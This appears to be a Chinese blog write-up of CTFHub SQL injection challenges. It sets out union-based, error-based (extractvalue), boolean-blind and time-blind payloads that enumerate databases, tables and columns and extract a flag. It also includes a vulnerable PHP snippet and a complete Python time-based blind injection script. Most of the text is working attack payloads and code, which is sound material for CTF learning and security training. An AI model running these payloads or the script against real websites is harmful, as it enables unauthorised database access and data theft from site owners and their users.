vlambda博客
学习文章列表

分析题目注入原理构造payload

分析题目注入原理payload构造

题目分析注入原理payload构造

分析题目注入原理payload构造

分析题目注入原理payload构造

数据类型分类：回显类型

CTFhHub：https://www.ctfhub.com/#/index

爆出数据库名-1 union select 1,databse()>>>sqli爆出表名-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()>>>news,flag爆出列名-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'>>>flag爆出数据-1 union select 1,flag from sqli.flag>>>ctfhub{********************************}

查询数据库-1' union select 1,database()#>>>sqli爆表名-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#>>>news,flag爆列名-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag';#>>>flag爆数据-1' union select 1,flag from sqli.flag;#>>>ctfhub{************************}

select extractvalue(null,concat(0x7e,(commond),0x7e))

select extractvalue(null,concat(0x7e,(substring(commond),1,32),0x7e))

1 union select extractvalue(null,concat(0x7e,(select database()),0x7e))
>>>XPATH syntax error: '~sqli~' 
1 union select extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
>>>XPATH syntax error: '~news,flag~' 
1 union select extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
>>>XPATH syntax error: '~flag~' 
1 union select extractvalue(null,concat(0x7e,(select flag from sqli.flag),0x7e))
>>>XPATH syntax error: '~ctfhub{************'

1 union select extractvalue(null,concat(0x7e,substring((select flag from sqli.flag),32),0x7e))
>>>XPATH syntax error: '~}~'

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
 if($row) { echo '<font size="5" color="#FFFF00">';  echo 'You are in...........'; echo "<br>"; echo $result; echo '<br>'; var_dump($row); echo "<br>"; echo "</font>"; } else  {
 echo '<font size="5" color="#FFFF00">'; //echo 'You are in...........'; //print_r(mysql_error()); //echo "You have an error in your SQL syntax"; echo "<br>"; echo 'this is result:'; echo $result; echo '<br>'; echo 'this is row:'; #echo $row; var_dump($row); echo "<br>"; echo "</br></font>";  echo '<font color= "#0000ff" font size= 3>'; 
 }} else { echo "Please input the ID as parameter with numeric value";}
?>

爆数据库名1 and ascii(substr((select database()),%d,1))=%d

爆破表名1 and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1))=%d

爆列名1 and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),%d,1))=%d

爆数据1 and ascii(substr((select flag from sqli.flag),%d,1))=%d

import requestsimport timeurl='xxxxxxxxxxxxxxxxxxxx'flag=Truedef database_len(): length=0 databse='' print("strat getting length of database_name...") for i in range(1,50): payload="1 and if(length(database())=%d,sleep(1),1)"%i time1=time.time() requests.get(url+payload) if (time.time()-time1)>=1: length=i print("the length of database_name:",str(length)) return lengthdef database_name(): name='' for j in range(1,name_len+1): for i in range(33,126): payload='''?id=1 and if(substr(database(),%d,1)='%s',sleep(1),1)'''%(j,chr(i)) time1 = time.time() requests.get(url + payload + '%23') time2 = time.time() if (time2-time1)>=1: name+=chr(i) print(name) break print('database_names:',name)def tables_len(): length=0 tables='' print("strat getting length of tables_name...") for i in range(1,50): payload='?id=1 and if((length((select group_concat(table_name) from information_schema.tables where table_schema = database())))=%d,sleep(1),1)'%i payload=url+payload time1=time.time() requests.get(payload) if (time.time()-time1)>=1: length=i print("the length of table_names:",str(length)) return lengthdef tables_name(): print("start getting table_names") name='' for k in range(0,2): for j in range(1,name_len+1): for i in range(33,127): flag=True payload='''?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(2),0)'''%(k,j,i) time1 = time.time() requests.get(url + payload + '%23') #time.sleep(0.5) time2 = time.time() if (time2-time1)>=2: name+=chr(i) print(name) break elif(i==126): flag=False name+=',' #这里跳出最内层循环 break; if not flag: #这里跳出第二层循环 break if(len(name)==name_len+1): break;
 print('table_names:',name)def column_len(): length=0 tables='' print("strat getting length of column_name...") for i in range(1,50): payload='''?id=1 and if((length((select group_concat(column_name) from information_schema.columns where table_name = 'flag')))=%d,sleep(1),1)'''%i payload=url+payload time1=time.time() requests.get(payload) if (time.time()-time1)>=1: length=i print("the length of column_names:",str(length)) return lengthdef column_name(): print("start getting column_names") name='' for k in range(0,50): for j in range(1,name_len+1): for i in range(33,127): flag=True payload='''?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit %d,1),%d,1))=%d,sleep(2),0)'''%(k,j,i) time1 = time.time() requests.get(url + payload + '%23') #time.sleep(0.5) time2 = time.time() if (time2-time1)>=2: name+=chr(i) print(name) break elif(i==126): flag=False name+=',' #这里跳出最内层循环 break; if not flag: #这里跳出第二层循环 break if(len(name)==name_len+1): break;
 print('column_name:',name)def cat_flag(): name='' print("start getting flag_len") length=0 for i in range(1,50): payload='''?id=1 and if(length((select flag from sqli.flag))=%d,sleep(1),1)'''%i time1=time.time() requests.get(url+payload) if time.time()-time1>=1: length=i break print("the flag length is",str(length)) for j in range(1,length+1): for i in range(33,127): payload='''?id=1 and if(ascii(substr((select flag from sqli.flag),%d,1))=%d,sleep(1),1)'''%(j,i) time1=time.time() requests.get(url+payload) if time.time()-time1>=1: name+=chr(i) print(name) break print('the flag is',name)name_len=database_len()database_name()name_len=tables_len()tables_name()name_len=column_len()column_name()cat_flag()